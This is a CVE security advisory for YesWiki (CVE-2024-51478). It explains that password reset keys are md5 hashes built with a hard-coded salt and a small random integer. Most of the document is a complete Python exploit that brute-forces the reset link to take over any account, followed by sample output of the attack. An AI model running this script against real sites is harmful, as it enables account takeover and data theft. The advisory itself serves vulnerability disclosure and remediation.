CVE-2024-51478 — Vulnerability in yeswiki/yeswiki — CVE Details

### Summary The use of a weak cryptographic algorithm and a hard-coded salt to hash the password reset key allows it to be recovered and used to reset the password of any account. ### Details Firstly, the salt used to hash the password reset key is hard-coded in the `includes/services/UserManager.php` file at line `36` : ```php private const PW_SALT = 'FBcA'; ``` Next, the application uses a weak cryptographic algorithm to hash the password reset key. The hash algorithm is defined in the `includes/services/UserManager.php` file at line `201` : ```php protected function generateUserLink($user) { // Generate the password recovery key $key = md5($user['name'] . '_' . $user['email'] . random_int(0, 10000) . date('Y-m-d H:i:s') . self::PW_SALT); ``` The key is generated from the **user's name**, **e-mail address**, a random number **between 0 and 10000**, the **current date** of the request and the **salt**. If we know the user's name and e-mail address, we can retrieve the key and use it to reset the account password with a bit of brute force on the random number. ### Proof of Concept (PoC) To demonstrate the vulnerability, I created a python script to automatically retrieve the key and reset the password of a provided username and email. ```python #!/usr/bin/env python3 # -*- coding: utf-8 -*- # Author: Nishacid # YesWiki <= 4.4.4 Account Takeover via Weak Password Reset Crypto from hashlib import md5 from requests import post, get from base64 import b64encode from sys import exit from datetime import datetime from concurrent.futures import ThreadPoolExecutor, as_completed from argparse import ArgumentParser # Known data salt = 'FBcA' # Hardcoded salt random_range = 10000 # Range for random_int() WORKERS = 20 # Number of workers # Arguments def parseArgs(): parser = ArgumentParser() parser.add_argument("-u", "--username", dest="username", default=None, help="Username of the account", required=True) parser.add_argument("-e", "--email", dest="email", default=None, help="Email of the account", required=True) parser.add_argument("-d", "--domain", dest="domain", default=None, help="Domain of the target", required=True) return parser.parse_args() # Reset password request and get timestamp def reset_password(email: str, domain: str): response = post( f'{domain}?MotDePassePerdu', data={ 'email': email, 'subStep': '1' }, headers={ 'Content-Type': 'application/x-www-form-urlencoded' } ) if response.ok: timestamp = datetime.now() # obtain the timestamp timestamp = timestamp.strftime('%Y-%m-%d %H:%M:%S') print(f"[*] Requesting link for {email} at {timestamp}") return timestamp else: print("[-] Error while resetting password.") exit() # Generate and check keys def check_key(random_int_val: int, timestamp_req: str, domain: str, username: str, email: str): user_base64 = b64encode(username.encode()).decode() data = f"{username}_{email}{random_int_val}{timestamp_req}{salt}" hash_candidate = md5(data.encode()).hexdigest() url = f"{domain}?MotDePassePerdu&a=recover&email={hash_candidate}&u={user_base64}" # print(f"[*] Checking {url}") response = get(url) # Check if the link is valid, warning depending on the language if '<strong>Bienvenu.e' in response.text or '<strong>Welcome' in response.text: return (True, random_int_val, hash_candidate, url) return (False, random_int_val, None, None) def main(timestamp_req: str, domain: str, username: str, email: str): # Launch the brute-force print(f"[*] Starting brute-force, it can take few minutes...") with ThreadPoolExecutor(max_workers=WORKERS) as executor: futures = [executor.submit(check_key, i, timestamp_req, domain, username, email) for i in range(random_range + 1)] for future in as_completed(futures): success, random_int_val, hash_candidate, url = future.result() if success: print(f"[+] Key found ! random_int: {random_int_val}, hash: {hash_candidate}") print(f"[+] URL: {url}") exit() else: print("[-] Key not found.") if __name__ == "__main__": args = parseArgs() timestamp_req = reset_password(args.email, args.domain) main(timestamp_req, args.domain, args.username, args.email) ``` Simply run this script with the arguments `-u` for the username, `-e` for the email and `-d` for the target domain. ```bash » python3 expoit.py --username 'admin' --email 'admin@nishacid.local' --domain 'http://localhost/' [*] Requesting link for admin@nishacid.local at 2024-10-30 10:46:48 [*] Starting brute-force, it can take few minutes... [+] Key found ! random_int: 9264, hash: 22a2751f50ba74b259818394d34020c9 [+] URL: http://localhost/?MotDePassePerdu&a=recover&email=22a2751f50ba74b259818394d34020c9&u=YWRtaW4K ``` ### Impact Many impacts are possible, the most obvious being account takeover, which can lead to theft of sensitive data, modification of website content, addition/deletion of administrator accounts, user identity theft, etc. ### Recommendation The safest solution is to replace the salt with a random one and the hash algorithm with a more secure one. For example, you can use [random bytes](https://www.php.net/manual/en/function.random-bytes.php) instead of a random integer.